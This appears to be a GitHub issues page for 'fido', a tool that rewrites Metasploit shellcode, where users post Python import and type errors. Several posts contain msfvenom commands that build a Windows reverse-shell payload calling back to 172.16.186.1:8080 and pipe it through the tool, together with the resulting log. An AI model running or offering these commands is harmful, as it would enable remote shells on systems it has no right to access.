secretsquirrel / fido Goto Github PK

root@php:/opt/fido# cat fredtest.bin | ./fido.py -p LLAGPA >test.bin
Traceback (most recent call last):
File "./fido.py", line 5, in
from capstone import *
ImportError: No module named 'capstone'

i have capstone installed

I'm attempting to recreate based off of the youtube vids, but get the following errors.

msfvenom -p windows/shell_reverse_tcp LHOST=172.16.186.1 LPORT=8080 EXITFUNC=thread | ./fido.py -p LLAGPA > /tmp/test.bin
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes

[] Length of submitted payload:324
[] Stripping Stephen Fewers hash API call
[] Disassembling payload
[] Called APIs: ['kernel32.dll!LoadLibraryA', 'ws2_32.dll!WSAStartup', 'ws2_32.dll!WSASocketA', 'ws2_32.dll!connect', 'kernel32.dll!ExitProcess', 'kernel32.dll!CreateProcessA', 'kernel32.dll!WaitForSingleObject', 'kernel32.dll!ExitThread', 'kernel32.dll!GetVersion', 'ntdll.dll!RtlExitUserThread', 'ntdll.dll!RtlExitUserThread']
[] String Table: b'WSASocketA\x00WaitForSingleObject\x00ExitThread\x00CreateProcessA\x00ExitProcess\x00RtlExitUserThread\x00LoadLibraryA\x00kernel32\x00ntdll\x00ws2_32\x00GetVersion\x00WSAStartup\x00connect\x00'
[] Building lookup table
[] Using LLAGPA Stub
[] Assembling lookup table stub
Traceback (most recent call last):
File "./fido.py", line 1365, in
test.doit()
File "./fido.py", line 1294, in doit
sys.stderr.write("Test: {0}".format(self.DLL_HASH['importname']))
TypeError: 'int' object is not subscriptable

The following is successful:

msfvenom -p windows/shell_reverse_tcp LHOST=172.16.186.1 LPORT=8080 EXITFUNC=thread | ./fido.py -p ExternGPA -l api-ms-win-core-libraryloader-l1-1-0.dll -d kernel32.dll -n > /tmp/test.bin
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes

[] Length of submitted payload:324
[] Stripping Stephen Fewers hash API call
[] Disassembling payload
[] Called APIs: ['kernel32.dll!LoadLibraryA', 'ws2_32.dll!WSAStartup', 'ws2_32.dll!WSASocketA', 'ws2_32.dll!connect', 'kernel32.dll!ExitProcess', 'kernel32.dll!CreateProcessA', 'kernel32.dll!WaitForSingleObject', 'kernel32.dll!ExitThread', 'kernel32.dll!GetVersion', 'ntdll.dll!RtlExitUserThread', 'ntdll.dll!RtlExitUserThread']
[] String Table: b'WSASocketA\x00ntdll\x00ExitProcess\x00ExitThread\x00GetVersion\x00RtlExitUserThread\x00CreateProcessA\x00WaitForSingleObject\x00connect\x00kernel32\x00WSAStartup\x00ws2_32\x00LoadLibraryA\x00'
[] Building lookup table
[] You know your DLL target! Using kernel32.dll hash.
[] Using ExternGPA from kernel32.dll hash: 0x6a4abc5b, import name: api-ms-win-core-libraryloader-l1-1-0.dll
[] Assembling lookup table stub
Test: api-ms-win-core-libraryloader-l1-1-0.dll[] Payload complete
[*] Output size: 762

So im not sure if its an issue with the payload itself or something else.

Need to include LoadLibraryEx in the output.

Hi, I haven't been able so far to try fido. I tried in Kali 2 and Debian 8, with the same result:

./fido.py --help
Traceback (most recent call last):
File "./fido.py", line 31, in
from capstone import *
ImportError: No module named 'capstone'

I've got capstone installed both via apt and pip, and if I run python3 I can import the module without errors.
I've read capstone documentation and I think I did all installation correctly.
I'm at a loss here, so any help would be apreciated.